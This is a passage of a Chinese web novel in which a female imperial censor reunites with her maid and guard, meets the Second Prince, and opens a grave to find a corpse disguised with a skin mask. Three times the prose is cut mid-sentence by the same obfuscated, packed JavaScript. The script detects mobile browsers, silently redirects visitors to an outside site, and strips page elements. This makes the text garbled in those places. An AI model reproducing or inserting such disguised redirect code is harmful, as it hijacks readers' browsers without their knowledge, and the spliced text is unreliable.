大晋皇子皆有封地,除了当今太子在册封后住进东宫之外,其余皇子皆要前往封地,且不可无故离开。 萧落珩的封地远在交州,可眼下他们所处的是徐州地界,这让林雪意有些不解。 “其实在得知林叔的死讯之后,我便请示了父皇,想回京城吊唁。” 听到这个久违的称呼,林雪意不禁呆了呆,望向萧落珩,试探着问:“吊唁家父?” 萧落珩住在林家的时候,就是这样称呼父亲的。 小时候她爱闹,每次父亲一回来,她就爹爹前爹爹后地撒娇。那时萧落珩身世未明,和他们住在一起,也爱凑这个热闹,总是跟着林叔长林叔短地叫唤。 没想到这么多年过去,他还一直记着。 萧落珩点了点头,望着林雪意叹了口气:“林叔于我,有再生之恩。得到父皇恩准后我便动身了,可此间路远,未成想还没到京城,就先在此处遇到了你。” 林雪意一时有些动容,抿了抿唇,道:“二殿下不必挂心,若家父泉下有知,定然甚为欣慰。” “嗯。昨夜我发现从水中救起的人是你时,简直不敢相信。”萧落珩的眸光轻轻柔柔地落在她身上,如恬淡月色般让人心生平静,“后来我想,这一定是林叔的在天之灵在保佑你。” 两人回到林雪意房中时,刚好有丫鬟端了熬好的鸡汤上来。明霞掀了盖子正要舀汤,萧落珩挥退了她,接过汤匙亲手舀了一碗放到林雪意面前,叮嘱她小心烫。 他做得很是从容,似乎哪怕是要他洗手作羹汤,他也能做得一派云淡风轻,悠然自若。但思及他的身份,林雪意又觉得有些不妥,踌躇了片刻后道:“二殿下,这……” 萧落珩闻声看她一眼,语声依旧温和,眼底却闪现一丝落寞:“我只是昭仪所出,幼时又流落市井,身份敏感,因此并不受父皇器重。” 林雪意不明白他为什么突然提起这件事,不由顿住。 萧落珩接着道:“朝中多有对我避之不及者,我能理解,也不在乎。你如今入了官场,万事皆难,也是应该同我远着些。只是在我心里,你永远是我意儿妹妹。” 林雪意只觉得心中酸酸涩涩的,不禁脱口而出:“落珩哥哥,我不是这个意思。” 萧落珩神色一轻,望着她温温柔柔笑起来,就如幼时站在海棠花树下那样,对她道了声“好。” 林雪意吃了半碗鸡汤,正想同萧落珩说昨夜船上发生的事,屋外突然出现了一名护卫,对萧落珩请示道:“殿下,外面来了一个小厮,说是昨日跟他家公子在江上失散,向我等打听是否从江里救上过什么人。” 那护卫似乎并不知道晏返的身份,听了对方询问,自然就想到了夜里被救上船的男子。 可是认识晏返的人都以世子称呼他,因此他必不会是那人口中的公子。 萧落珩显然很快也想明白了这一点,对护卫道:“我们并未发现那位公子。你可告诉他,昨夜附近指挥营曾施救过一批逃难的船客,或许他们见过。” “是。” 护卫应声便要退下,林雪意却突然福至心灵,叫住了他,问道:“可知他家公子叫什么名字?” “那小厮说,他家公子叫做薛意。” 48. 汇合 林雪意不由眉眼一弯,转而对萧落珩道:“可否让那小厮过来说话?那位薛公子我正巧认识。” “那是自然。”萧落珩欣然应允,吩咐护卫带人过来。 林雪意就瞅着那道熟悉的娇小身影浑身戒备地踱步到门口,在看见她之后惊讶得瞪大了眼睛,一时说不出话来。 她刚要开口逗那小厮打扮的人,对方就冲过来抱住了她,又是惊喜又是委屈,差点就要哭出来:“姑娘!您真的在这里!我一直找不到您,都快急死了!” “别担心,我没事。”林雪意一面拍着深月的背安抚她,一面对面露惊诧的萧落珩解释道,“这是我的丫鬟深月,乔装打扮寻我来了。” 萧落珩回过神来,会心一笑,道:“难怪意儿说认识薛公子,原来就是意儿自己。” 深月显然听出了萧落珩对自家姑娘的称呼不同寻常,她连忙从林雪意肩头起来,好奇地看向声音传来的方向。 这一看,她就呆住了。 盯着萧落珩打量许久后,她才一脸迷糊地问林雪意:“姑娘,这是天仙下凡吗?” 林雪意忍俊不禁,道:“休得无礼,这是二皇子。” 深月醒过神来,立时跪下,一张小脸涨得通红:“奴婢见过二皇子。望二皇子恕罪。” 萧落珩侧过头去笑了笑,让深月起身,又眉心微蹙对林雪意道:“在你们眼里,我就是这般非不分的人吗?” 知道萧落珩意指她先前也向他请罪的事,林雪意冲他抿唇一笑,转而问深月:“昨夜你可是跟着其他人一起上岸了?今日又是如何找到这里的?” 不料深月连连摇头,道:“昨夜我担心姑娘,因此一直躲在船上的厢房里,想等姑娘一起离开。可是……” 深月说着说着就红了眼眶,泫然欲泣:“可是,有水贼杀进了舱内,墨云赶来救我受了伤。我没法子,只能带着他跳了船。” 听了深月的话,林雪意心中未明的事又清晰了几分。 难怪昨日她跌出甲板,晏返受水贼钳制时,她没看到墨云。看来深月和墨云跳船,就是在她受到惊吓,意识模糊的时候。 “那后来呢?”思及当时惊险,林雪意微皱了眉头。他们会被逼得跳船,墨云伤得定然不轻。 深月小嘴瘪了瘪,道:“我们被暗流卷出去很远,墨云还没到岸边就晕了,我好不容易才把他弄上岸。后来附近的农户收留了我们,我担心姑娘,天一亮就出来打听姑娘的下落了。” “真是苦了你了。”林雪意瞥见深月手上许多伤痕,知道她这一夜过得并不容易。幸好深月幼时就生活在水乡,深谙水性,否则真是凶多吉少。 林雪意转头看着萧落珩,有些歉然道:“二殿下,墨云是世子的护卫,可否先将他接过来养伤?” “你我之间,何必见外?我早已吩咐过,这船上的人你可随意使唤。”萧落珩说罢让在外候命的护卫马上去调人手车马,又命人去叫大夫随行。 “谢二殿下。”林雪意只觉得胸口在闷闷地跳,立即起身道,“我有些担心墨云,这便一起去看看。” 不料萧落珩也站了起来,径直道:“我随你一起去。” 林雪意羽睫微微颤了颤,后退一步,拱手道:“此乃下官私事,不敢劳烦二殿下。” 跟前的萧落珩轻轻摇了摇头,似是有些无奈,温声道:“那好吧。我多派点人手,你路上小心。若有什么需要,只管吩咐他们。” 林雪意再次谢过萧落珩,跟着深月下船,坐上了已经停在岸边的马车。 深月刚一上车,就好奇问道:“姑娘,您是如何跟这位二殿下有交情的?” “幼时有一些渊源罢了。”林雪意下意识地从车窗看出去一眼,就见萧落珩正立在船头往这边望。 深月自然也看见了,语气带上了一些揶揄:“渊源?什么渊源?姑娘,说嘛说嘛。” 林雪意就知道以深月打破炒锅问到底的性子,定会对她软磨硬泡。 这虽然不是什么秘密,但到底事关皇家威仪,因此她便三言两语道:“二殿下因被奸人所害,自小便流落民间。后来被父亲遇上,曾和我们一起生活过一阵子。” 林雪意虽说得简单,但却不由想起了父亲曾告诉她的详细。 萧落珩的遭遇,也算是一桩悬案。 萧落珩的母妃孙昭仪虽然位份不高,怀上他的时候却正是受宠之时。 可是好景不长,孙昭仪在怀胎八月时误服了打胎药。虽然太医施救及时,保下了早产的胎儿,孙昭仪却十分虚弱,不省人事。 当夜守夜的宫人倍感困顿,等到被换班宫女的尖叫声惊醒之时,竟发现原本歇在床上的孙昭仪已经被开膛破肚,而照看婴儿的乳母和婴儿全都不知所踪。 事发之后,全城戒严,可是禁军即便是掘地三尺,都没能找到那乳母和孩子的下落。 此事被皇室视为不详,因此鲜少有人提起。 若不是后来萧落珩因为身上的胎记被发现,这段往事恐怕早就被人遗忘。 “这么说,姑娘跟二皇子还是两小无猜,青梅竹马?” 林雪意正沉浸在回忆中,思绪却冷不防被深月这话拉了回来。 她睨了深月一眼,道:“胡说什么呢?二殿下是什么身份,我和他怎么能够相提并论?” “怎么就不能呢?”深月煞有介事地睁圆了眼睛,一脸认真道,“我家姑娘天下第一好,配得上跟任何人相提并论。” 林雪意被逗乐了,心头引悬案引发的紧张渐渐淡去。她笑了一阵后突然想起一件事来,问道:“你今日来寻我,怎么问的是我的假名?” 一提起这个,深月就来劲了,眉飞色舞道:“我们这一路过来,碰上的麻烦可不少,我还不得多留个心眼儿啊?” 见深月长进不少,林雪意笑道:“你仔细说说。” “这可就说来话长了。”深月点着下巴说,“我一早就去附近的指挥营问过了,可是指挥营说没遇到过姑娘。那时我就担心,姑娘会不会落到了歹人的手里。” 林雪意想了想,会过意来:“所以你一开始是觉得,那艘船有蹊跷?” 深月连连点头,道:“这一带都是荒郊野地,少有人烟,但是却停着那么大一艘船,实在不寻常,所以我猜想船主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081059|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的来头不小。我又不敢轻易透露姑娘的事情,就想着先用假名字探探口风。 “若姑娘不在那船上,自然没有什么妨碍,万一姑娘真的受制于人,我也不算打草惊蛇,还能等墨云醒了再想办法去打探一番。” “不错啊。”林雪意正想再夸深月几句,外头却传来了随行护卫的喝问谁人挡路的声音,马车也停了下来。 她不解地掀开车帘看了一眼,发现站在马车前头的竟然是墨云。 他看起来不太妙,虽然换过衣物,但是衣服上却血迹斑斑,显然是身上的伤口裂开了。 林雪意连忙下了马车朝墨云走去,就见墨云眉头紧皱,作势就要跪下,一边道:“大人,属下……深月她……” “墨云?你跑出来干什么?”跟在林雪意身后跳下马车的深月见是墨云,不禁奇怪地问。 墨云闻声登时顿在原地,脸上闪过一丝惊愕,他一瞬不瞬地望着深月,眼底缓缓浮起一丝幸然。 深月瞅了瞅墨云,又瞅了瞅远处的农舍,拧起眉毛质问道:“你该不会什么都没拿就出来了吧?” “我……”墨云一时语塞。 “好了,深月,墨云是担心你。”林雪意扶住了摇摇欲坠的墨云,劝深月少说两句。 “不是啊,姑娘。”深月压低了声音,有些急切道,“这次我可是记得把官印拿好了,但是不便随身带着,就把它留在那农户家中了。” 林雪意明白过来,释然一笑,道:“那我们一起去取回来便是,顺便也向人家道谢。” 她和深月一起扶着墨云上了马车,刚同墨云说完此前经历,几人正对“水鬼”的事生疑,车队也就抵达了农户家。 女主人张氏正在门口做针线,见到这阵仗惊得手脚都不知道往哪儿放,直到看见从马车中出来的深月才松了一口气,笑着招呼道:“深月丫头,你这是找到你家姑娘了?” “是啊,张婶。”深月开心应道,又往屋里探了探头,问,“我的东西还在吗?” “在呢,你随我去拿。”张氏朝她招了招手,边说边往屋里走,“你这小情郎一醒就急着去找你,我就替你收起来了。” 刚从马车上下来的林雪意闻言一愣,从身后车厢里传出的剧烈咳嗽声让她回过了神。 她悄悄瞅了深月一眼,就见深月脸腾地红了,迈开步子追着张氏进了屋,脆生生的嗓音里透出一丝羞恼:“张婶,我跟他不是那种关系!” “是吗?那你怎么为他哭了大半夜?”张氏的话依稀从屋里传出来。 虽然不知真假,但这情景实在有趣,林雪意抬手想掩饰笑意,却闻见了一股淡淡的血腥味,这才想起来方才去扶墨云的时候,掌心蹭上了一点血迹。 正好农舍旁边不远处有个小水潭,她便想去净个手。 这个时节,潭边的野草都已枯黄,没有什么遮挡视线的东西,因此视野开阔,石板平整清爽,潭水清澈可爱。 林雪意踩着石板在水边蹲下来,才拨了两下水,就隐隐感到身后有清细的响动。 她刚想转身看看,眼底的水面中却骤然出现了一双枯槁木然的眼睛! 49. 开棺 林雪意悚然一惊,只觉得头皮发麻,她本能地向后仰,后背却碰上了什么东西——她在水中看到的眼睛竟然是身后之物的倒影! 昨夜怪物袭击船只的景象陡然闪现脑海,林雪意身体发僵,不听使唤,可身后碰到她背部的东西却没有停留,径直绕到她前面去了。 林雪意这才看清那“东西”并不是怪物,看身形像是一位妇人,但却发丝凌乱,背影蹒跚。 她顿时松了一口气,正想笑自己杯弓蛇影,却突然发现前方的妇人似乎不太对劲。 只见妇人一面喃喃着什么一面往水边走去,但她却不是要清洗什么,而是一脚踩进了水面下的石板。 眼下仍是寒冬,潭水冰冷刺骨,她踩进水里做什么?! 林雪意反应过来,连忙上前拽住她,急道:“大娘,水中危险!” “芷柔?芷柔!芷柔!”那妇人却对林雪意的话充耳不闻,大叫着往水面俯身,一边叫一边伸手拼命在水里捞着什么。 对方的力气格外地大,林雪意脚下一个踉跄,眼看就要跌进水里,身后一只手抓住了她。 “大人!” 林雪意扭头见是墨云,忙让墨云帮忙拉住一心要往水里扑的妇人。 “阿容!你这是做什么?”不远处传来张氏吃惊的声音,这边墨云也已经将人拉了上来。 跟着张氏跑过来的深月连忙过来扶住林雪意,不明所以地问:“姑娘,这是怎么了?” 林雪意看出这妇人有些神志不清,边说边向张氏递去一个询问的目光:“这位大娘不知为何要往水里去,还一直叫着一个名字。” “这是住在附近的方容。”张氏一面抓住蓬头垢面的妇人,一面带着些歉然解释道,“她前些日子没了女儿,因此神思恍惚,总幻想女儿还活着,方才应该是把姑娘在水里的影子当成自己女儿了。” 不料原本已经渐渐安静下来的方容听了这话顿时奋力挣扎起来,高声喊道:“胡说!芷柔没有死!你们胡说!死的不是芷柔!” “阿容,你冷静点!”张氏似乎是怕方容冲撞到林雪意,忙用力按住她,劝道,“芷柔的尸体是我们大家都看到的,那就是芷柔啊。阿容,芷柔已经走了!你不能再这样下去了!” 方容听到这话猛然一怔,像是被兜头浇了一盆冷水一般,继而她双腿一软瘫坐在地上,捶胸顿足地号哭起来:“不是的,那不是芷柔,不是我的芷柔……不是……不是芷柔啊……不是芷柔……” 林雪意看了一阵,向张氏问道:“张婶,你们说的芷柔就是大娘的女儿吗?” “是啊。”看着方容落魄的样子,张氏也不知不觉流下泪来,她揩揩眼泪,对林雪意道,“阿容也是命不好,芷柔多好一孩子,说没就没了。” 见方容形容枯槁的样子,林雪意有些于心不忍,便试探着问:“芷柔姑娘的事,张婶可否详细告知?” “这……”张氏原本为人热络,听了这话面上却流露出些犹豫来,显然是有所顾忌。 “您似乎有什么难言之隐?”林雪意问。 “唉!”张氏叹了口气,往林雪意走近几步,压低声音道,“姑娘,我知道你是好心,但这事我们也不好往外说,否则被知县大人知道了,可是要挨板子呢。” 林雪意闻言和深月对视了一眼,深月眼珠一转,干脆从自己拎着的包袱里掏出了官印,递到张氏面前,道:“张婶,您只管说,我家大人会为你们做主的。” “大……大人?”张氏看看官印,又瞅瞅着深月的眼色,琢磨她说的“大人”应该就是她家姑娘,但是对方虽然气质出众,却如假包换是个女子,她心中又不免有些纳闷。 “张婶,”林雪意看出张氏心中疑虑,后退一步拱手,正色道,“在下监察御史林雪意,奉天子之命出京巡察,稽查百官。您若有什么苦处,但说无妨。” “你就是……”张氏闻言眼睛一亮,像是终于想起了什么,目光中难掩惊喜,“您就是那位当今圣上钦点的女御史!” 林雪意笑道:“正是。” “民妇拜见大人!” 张氏说着就要跪下,林雪意连忙将她扶住,道:“您不必多礼,只需将芷柔姑娘的事告诉我。若此事确有隐情,我定然会主持公道。” 张氏连声应下,搀着失魂落魄的方容,领着林雪意三人进了屋,一五一十地说起了芷柔的事。 “阿容早年没了丈夫,那时候芷柔才出生没多久。阿容又不愿改嫁,一个人靠打渔维持生计,含辛茹苦养育孩子。如今芷柔长大成人,又能干又孝顺,阿容本该是苦尽甘来,谁知却发生了那样的事……” 张氏说,半个多月前方容感染了风寒,芷柔为了酬药钱,就赶制了一些绣品去邻近的县城里兜售。芷柔绣工好,因此前面连着两日,那些绣品很快就一售而空。到了第三日,芷柔也是早早就出门了,可是直到天黑都没有回来。 此处叫做蒙潭村,因为水患频发,只有几户零散人家。大家都知道方容的难处,听说芷柔没有回家,便都帮忙四处去寻,甚至连夜赶到了县城,却都没有找到。 隔日方容便去报了官,可即便是官府派人搜寻也无济于事,芷柔就像是突然从人间蒸发了一般。 那之后又过了五日,附近有人准备去江上打渔时,在岸边发现了芷柔的尸体。 官府接到报案后派人来看过,推断是芷柔不慎跌入江中溺亡,而后被江水冲上了岸。 “官府结案之后,我们便劝阿容节哀,让芷柔入土为安。可是阿容却像疯了一样,坚持说那不是芷柔,说芷柔肩上有一块胎记,但是那尸体上却没有。”似乎是想起了当日情景,张氏红了眼眶,道,“可是我们亲眼所见,那就是芷柔的模样啊,连衣物、穿戴都一模一样。” 林雪意心头浮起淡淡的疑惑,正想发问,又听得张氏道:“我们觉得是阿容接受不了芷柔的死,才凭空生出这样的幻觉。可阿容执意要去衙门讨个说法,结果挨了一顿板子被赶了出来。衙门说阿容得了失心疯,妖言惑众,勒令我们不许再提此事,寻公廨的晦气,否则要把我们都轰走。” “太气人了!”深月柳眉倒竖,道,“这里的官府根本就是在仗势欺人!” 林雪意回忆片刻自己看过的官员名册,道:“此处是尹阳地界,我记得如今尹阳县的知县是付世仁。” “正是付知县。”张氏说着压低了声音,下意识地往门外看了看,小心道,“那位据说是朝中有人,就连知府都要给他几分面子,我们这些小老百姓就更加不敢开罪了。” 林雪意想了想,问:“张婶,您当日看过芷柔的遗体,可有什么不寻常的地方吗?” “我也说不上来……”张氏迟疑了片刻,接着道:“其实倒是和官府说得不差,芷柔的遗体上没有外伤,要说有什么不寻常,我觉得那样子不像是溺死的。” 浑浑噩噩坐在张氏边上的方容虚望着空气,喃喃道:“不是芷柔……那不是芷柔……” 林雪意略一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128444|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思忖,对着方容道:“方大娘,如果你真的觉得那尸体不是芷柔,可否容我开棺验尸?” 张氏闻言一惊,深月也下意识同墨云对视了一眼。 原本毫无反应的方容听到后蓦然顿住,她混沌的目光缓缓清明起来,眉眼间流露出一些难以置信来。 她蹒跚走到林雪意跟前,跪下道:“大人!民妇愿意!求大人为民妇做主!” 林雪意即刻吩咐车队中的护卫去准备验尸需要的物件,又让墨云跟着车队回船上照看晏返,自己则和深月一道,跟着方容和张氏去了芷柔的墓地。 芷柔就葬在方容屋后的小树林中。 林中树木阴翳,日光淡薄,风一吹便让人生出一股森然之感。 张氏说当时方容因为受到打击而神志不清,芷柔的丧事是附近几家人帮着操办的,出殡下葬是在七日前。 没过多久,林雪意派去的护卫就依言找来了她要的东西。 墓碑后的坟包被推平,一方白布在上方支起,墓地很快就被挖开,露出底下一副杉木棺材。 林雪意捆起衣袖,用布蒙上口鼻,小心提着裙子下到土坑里。 她看了一旁的方容一眼,见对方对她点点头,便命两名护卫开棺。 棺盖被打开的一刹,她预想中的尸体腐败的浓烈气味并没有出现,空气中只漫上一股淡淡的腐味。 林雪意心下奇怪,往棺中看去一眼,映入眼帘的景象让她不由一怔。她身旁的方容更是发出一声惊呼,惊诧道:“怎么……怎么会这样?” 只见棺材中的尸体保存完好,几乎没有腐败的迹象。 深月跟张氏听见方容的惊呼有些不明所以,便也上前来看,两人也都是一惊——哪有人死了好几日还能这样尸身完好的? “大人,那是个假人吗?”深月问。 “不,”林雪意摇了摇头,道:“这确实是尸体。” 棺材中的这具躯体虽然完好无缺,但确实在散发着微微的腐败之气。 “莫不是……莫不是芷柔她含冤而死,冤屈未明,所以遗体不腐?”张氏从没听说这样的情形,只能如此猜测。 林雪意一时没有说话,她套往尸体脸上的下颌处摸索了一阵,指端微微触到了一点起伏不平的粗糙感。 她从近旁护卫端着的器具中拿起镊子,屏住呼吸俯身,从尸体下颌不平整的地方夹起了状似纸皮的一角。她顺着那一角轻轻拉扯一阵,一张面皮一样的东西就被从尸体的脸上揭了起来。 “人皮面具?!”深月惊道。 若不是她曾在驿站和秋意家中见过杀手使用人皮面具,她还真想不到世上竟会有这样的东西。 “差不多吧。”林雪意舒出一口气道。 她也是此前三番两次见识过人皮面具,今日见方容那般笃定这不是芷柔,故而猜测尸体可能被伪装过。 尸体真正的面目也还清晰可辩,虽然容貌秀丽,却完全是另一副样子,跟芷柔的模样相去甚远。 有人把这具尸体易容成了芷柔的样子来以假乱真,那真正的芷柔又在何处? 这具尸体原本是谁?又是如何遭的毒手? 一连串的问题浮上脑海,林雪意正暗自思索,忽然听得近旁的张氏大惊失色道:“这……这不是那老夏家的女儿阿琴吗?” 林雪意旋即看向张氏:“你认得她?” “可是……可是……”张氏眼中满是惊恐的神情,支吾道,“阿琴她一年前就死了啊!” 50. 丝帕 “一年前就死了?”林雪意闻言不由得细眉微蹙。 即便是死去七日的人,尸身能维持这样完好已是十分离奇,更别说是一年时间了。 “张婶,您别着急。”深月见张氏情绪紧张,安抚她道,“既然您说的阿琴一年前就死了,会不会是您认错了?” “不会,我不会认错。”张氏稍微缓和了紧绷的情绪,十分肯定地说,“阿琴住在隔壁蒙湖村,就住在我娘家边上,所以我认得她。” 林雪意眼底眸光幽幽一转,问道:“张婶,阿琴姑娘又是如何离世的?” 在林雪意的追问下,张氏说起了阿琴的事情。 阿琴是隔壁蒙湖村夏家的女儿,一年多前进城赶集,当天就没有回家。夏家遍寻无果,隔了一些日子后,有人在河边发现了她的尸体。当时官府也是以落水溺死结案,夏家虽然伤心,但还是接受了现实,几日后将阿琴安葬了。 深月听得心底发凉,不禁打了个冷颤,挨到林雪意身侧轻声道:“大人,如果这具尸体真的是阿琴,那被当做阿琴下葬的岂不也是其他人?” 林雪意点点头,面色越发凝重。 在张氏的描述中,阿琴失踪的事与眼下这桩案子颇为相似,芷柔的案子看起来更像是犯人在故技重施。 既然夏家安葬的并非真正的阿琴,那么阿琴真正的死亡时间或许就不是一年前。 可是面前的尸身并没有像寻常尸体那样死后腐烂,她至多只能看出阿琴是中毒而亡,却判断不出她是何时被杀的。 林雪意在棺中打量了一阵,视线停落在尸体发髻间的一支铜簪上。 她心中忽而闪过一个念头,向身旁的愁眉不展的方容问道:“方大娘,那簪子可是芷柔的东西?” “是芷柔的。”方容连连点头,道,“衣服、头饰确实都是芷柔的。” 既然是芷柔的东西,如今出现在阿琴的身上,那么定然是凶犯从中芷柔身上取下用来乔装尸体的。 或许她可以透过这支簪子发现什么线索。 林雪意轻轻将铜簪取下来,凝聚精神回溯起来。 指端传来久违的微麻触感,眼前的视野模糊了一刹,再度清晰起来时,她看见的画面光线昏暗,应该是在一间石室之内。 幽暗的光线中,一名发丝凌乱、面容狼狈的少女蜷缩在墙角,她的手脚均被捆住,看过来的一双眼睛里充满恐惧和警惕。 一只指节粗大的手从她发间拔出了铜簪,向她做了个噤声的手势。 出现在林雪意视野中的是一个男子的背部,画面随着他手中的铜簪缓缓移动,再定格时,骤然出现在视野里面的女子面孔满是死气,和棺材里阿琴的如出一辙。 那支铜簪被插在已经没有生气的尸体发间,插完铜簪的男子好像是打算给尸体化妆,从近旁满满当当堆放着胭脂香粉的木架上拿取器具和粉盒。 他似乎做得很享受,不紧不慢地往手中的托盘里放东西,林雪意的视线却在他手中陡然凝住——他从木架上取下的分明是一盒迷魂胭脂! 一阵眩晕骤然袭来,尖锐的疼痛和窒闷就如潮水一般涌上了胸口。 昏暗的视野蓦然变得敞亮,退出回溯画面的林雪意踉跄着后退两步,面色苍白。 “大人,您怎么样?”边上的深月及时扶住了她,见她的样子像是旧疾复发,便想搀她去旁边坐会儿。 “我没事,一时走神罢了。”林雪意摇了摇头安抚深月。 她顾不得休息,只扯下了蒙脸的布透了口气,转而对方容道:“方大娘,芷柔很有可能还活着。” 出现在回溯的场景中的那名少女,虽然形容狼狈,但她还是能够看出来,她的容貌跟伪装出的芷柔十分相似,那应该就是真正的芷柔。 她尚不清楚抓走芷柔的人有什么企图,但是他既然大费周章地用阿琴的尸体来掩人耳目,就说明他是出于某种目的,需要长期囚禁芷柔,所以眼下芷柔还不会有生命危险。 “真的?”方容喜出望外,她颤抖着抓住林雪意的手,激动得不知道说什么好。 林雪意点点头,叮嘱她和张氏道:“我会接着查下去,但是今日的事还请二位不要声张,以免走漏风声。” 方容和张氏连声答应,向林雪意再三道谢后,两人才互相搀扶着离开。 等到她们二人走远,林雪意的目光落回到阿琴的尸身上,面色又逐渐凝重起来。 如今阿琴的尸体重见天日是因为凶犯的伎俩被她看破,那么在此之前,难保没有更多女子被害。 犯人的手中竟然有迷魂胭脂,难道说在此处失踪的女子也跟迷魂胭脂有某种关联? 她只觉得眼前迷雾重重,但唯有一点可以肯定——此案凶犯和迷魂胭脂案有关,只要找到他,也就能顺藤摸瓜找到她追踪的那批女子血液。 林雪意思忖之间,一阵从容的马蹄声打断了她的思绪。 她循声望去,就见一道月白身影正骑着白马从树影后踱出,柔软发丝轻轻起落间,一双极好看的细长眼眸遥遥地朝她望过来,竟是萧落珩。 林雪意有些意外,问道:“二殿下,您怎么来了?” 萧落珩翻身下马向她走过来,温声道:“我听说你有事耽误了,便有些放心不下。” 他眼底虽然是笑的,但那笑容浅浅淡淡的,丝毫没有让人生出被冒犯之感,反而多出一丝出尘脱俗的意味。 深月站在不远处捧脸看着两人,语声热切:“二殿下跟姑娘可真是般配呀……” “你在胡说些什么?”一道冷硬的声音从身后传来,说话的人显然是心中不悦:“大人可是世子夫人。” 这声音过于熟悉,深月朝话音传来的方向冷冷瞥过去,果然就看见已经换了一身衣裳的墨云正从树后走出来。 她不以为然地冲墨云翻了个白眼,道:“我家姑娘跟你家世子都说好了要和离呢,要你管?再说了,你又跟过来做什么?” 墨云顿了顿,似乎不欲跟她逞口舌之争,径直绕过她往林雪意的方向走去了。 这头林雪意已经交代了几个护卫将阿琴的尸体运到义庄保存,正叮嘱其余护卫将芷柔的墓恢复成原来的样子,见到墨云不免有些意外:“墨云,你怎么不在船上歇着?” 墨云目不斜视,抱拳道:“世子早有吩咐,若他不在大人身边,属下须随行大人左右。属下已经确认过世子安好,愿听凭大人差遣” “也好。”林雪意知道墨云心性耿直,点了点头道,“我正好有事想请你去办。” 她三言两语讲清了方才的来龙去脉,让墨云即刻动身去张氏说的蒙湖村走一趟。 等到一切忙完,天际已是暮色微沉。 林雪意有些歉然地向一直等候在一旁的萧落珩走去,却见他身侧已有护卫备好了水。她这才想起自己方才验尸还未洗手,不由有些脸热,道:“让二殿下看笑话了。” 萧落珩却并未取笑她,只是淡淡道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162365|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“能见到意儿妹妹查案,也算是遂了我的心愿。” 他说着递过来一方丝帕,那只是普通的素帕,颜色暖白,看上去像是旧物。 林雪意微怔过后道谢接过,带着深月坐上了回去的马车。 深月悄悄撩开车帘看了一眼骑马走在马车前方的萧落珩,对林雪意道:“姑娘,我看得出来,二殿下很关心您。” “那是二殿下以礼待人,你可不要胡思乱想。”林雪意睨她一眼,手中整理着方才拿来擦手的丝帕,想着还是等洗干净了再还给萧落珩。 在掌心揉成一团的丝帕悄然展开,泛着微微的沉水香,林雪意的视线不由一滞。 “怎么了?”深月发现了林雪意的愣神便凑过去看,发现那柔软的丝帕一角,歪歪扭扭地用浅粉色丝线绣着一朵海棠花。 “这二殿下还会绣花哪?”深月有些纳闷,微撅起嘴,语气有些勉强,“就是这绣工么……最好再花点心思……” 林雪意闻言轻轻一笑,眼底却漫上一点热意,道:“不是他,是我绣的。” “这是姑娘绣的?”深月更觉惊奇。虽然她家姑娘绣活做得不多,但她也是见过的,根本不是这样的水准,除非…… 深月很快想到了一种可能,问道:“莫非是姑娘小时候绣的?” “是啊。” 林雪意虚望着空气,眼前不觉浮现出很久很久以前的事来。 那是在萧落珩恢复皇子身份之前的一日,她同萧落珩不知因为什么拌起了嘴。 她生气跑进母亲生前住的小院,锁上了院门。 院中靠墙的地方有一棵海棠树,阳春三月,枝头海棠初绽。 看见母亲最喜欢的海棠花,她心中更加委屈,靠在树下大哭起来。 也不知道哭了多久,树上传来略显无奈的声音:“意儿妹妹,别哭了,眼睛哭肿了就不好看了。” 小小的姑娘红着眼睛错愕抬头,海棠花树上,屈膝坐在密密匝匝的花簇间的俨然是萧落珩。 “你……你还偷看!”她又羞又恼,连忙擦干脸上泪水,气鼓鼓地看着树上那道高挑的身影,“我再也不要理你了!” “我不是存心要偷看的。”萧落珩拂开花枝解释说,“院门锁了,你又哭得厉害,我担心你是打不开锁,才爬上来看看的。” 林雪意更生气了,斥道:“你胡说!是不是因为打不开院门,看一眼就明白了,哪需要在树上躲那么久?” 萧落珩连忙道:“我刚爬上来没多久。” “你还狡辩!”林雪意说着说着开始冷静下来,一双水汪汪的眼睛像两泓清泉,她瞬也不瞬地望着花影间的萧落珩,言之凿凿,“今日不热,这棵树只有顶上才能晒到太阳,可是你额头出汗,可不就是一直躲在树上晒的?” 萧落珩语塞了一阵,叹了一口气,从树上轻盈地跳下来,脸颊微红道:“是是是,你神机妙算,说得都对,我确实看了你挺久。” “这还差不多。”这么一通闹腾,林雪意的气倒是消了不少。 她见萧落珩一手背在身后,一副欲言又止的样子,便扬起眉毛打量他道:“你想说什么?” 萧落珩轻轻俯身,将藏在身后的手抬至她面前,他的手中是一枝已经开成了一团的粉白色海棠花。 满是花苞的海棠树下,少年眸光清澈,望向她的视线里有点讨饶的意味:“这是前些日子答应要摘给你的,算是向你赔罪。意儿妹妹,你别不理我嘛。” 51. 梦魇 